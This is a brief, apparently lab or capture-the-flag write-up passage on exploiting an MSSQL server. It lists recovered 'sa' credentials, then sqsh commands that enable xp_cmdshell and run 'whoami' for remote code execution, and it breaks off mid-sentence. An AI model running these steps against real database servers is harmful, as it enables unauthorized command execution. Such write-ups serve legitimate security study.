Exploitation
After getting the credentials for the MSSQL Server I got remote code execution.
Creds: sa:EjectFrailtyThorn425
sqsh -S victim-ip -U sa -P password
exec sp_configure 'xp_cmdshell', 1
go
EXEC SP_CONFIGURE 'xp_cmdshell', 1
reconfigure
go
xp_cmdshell whoami
go
output
weoweo\wewoThen did something along the lines
Last updated